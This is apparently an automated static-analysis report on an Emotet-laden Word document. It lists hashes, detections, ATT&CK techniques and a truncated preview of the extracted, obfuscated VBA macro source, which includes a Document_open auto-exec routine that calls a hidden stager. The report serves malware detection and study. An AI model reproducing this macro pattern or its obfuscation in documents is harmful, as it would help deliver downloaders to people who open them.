Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 aba1029cf31471d6…

MALICIOUS

Office (OLE)

211.7 KB Created: 2020-02-06 20:31:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: d62bb016e4227ece962e179412e2bbb1 SHA-1: 4c888f7c02aad3286cd67f9680208672565bffb1 SHA-256: aba1029cf31471d6edf105d4fc0331001e72bdf753fef331f92fb60f29d02189
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. The presence of CreateObject and a hidden UserForm property read further indicates a command stager. ClamAV detection explicitly names this as Emotet. The VBA code attempts to execute a command via Hrfiowiophjla.Ogjacqavchc, likely to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7578627-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7578627-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12955 bytes
SHA-256: 421d407b6fe290002030b89282ed076989a5ced12a5b44fe2a1a547ab8f8b489
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Jwfazuzwftroq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Hrfiowiophjla.Ogjacqavchc
End Sub

Attribute VB_Name = "Fxywqfxyj"
Attribute VB_Base = "0{1793EA2A-80AF-4474-873F-44DB71B2645E}{AD4A1C25-7985-4CB4-AE09-80ECFB0CF5AE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Jpmseqndhx"
Attribute VB_Base = "0{215A3167-A16B-4A6C-947C-F5AAEA7428D6}{43532A18-D5F7-4CBC-A2A2-F3AB3EDB05F3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Qopemzgpizt()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Immdjtdbqvu"
Attribute VB_Base = "0{131FB8C6-28CC-4444-8928-92ECD1AF117D}{E22A445A-CF72-4F5A-8F61-E104F61FCE70}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Cfpfihbgblzzv()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Pdjwldwdbzxe"
Attribute VB_Base = "0{76E2A59F-E0D9-45D6-ACF0-200F4943BE70}{9958A7D8-A10A-4E68-85E7-A9DAA02AA8F9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Asulpxbacrm()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Gbmeogklml"
Attribute VB_Base = "0{C296E088-8C6B-438B-9DFF-CD381C90F0DB}{1E9D477F-17F3-4FC9-9843-117EB1B5BE55}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Tfbnfkdyq()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Eofqspbsknup"
Attribute VB_Base = "0{3775B563-C36D-4FE5-A193-F18920DCD27B}{75008B96-2C59-480D-92E2-65CFEA7C7BAB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Vjysdngwdwr()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Wgiasfjhpi"
Attribute VB_Base = "0{C475A302-5E47-4AE3-A2ED-B19708FBB7B3}{587E2044-930D-4573-AB90-05DE88FA45A7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Wltouyqaykbf()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Nlikjzscem"
Attribute VB_Base = "0{7D3CE6CC-0ED6-4E05-9AB0-33803FD2F6DE}{E28C01BF-3950-434E-893F-37EC077AFE1F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Cjshfbizhc()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Ixaynmecuf"
Attribute VB_Base = "0{C9E7034C-7F63-43
... (truncated)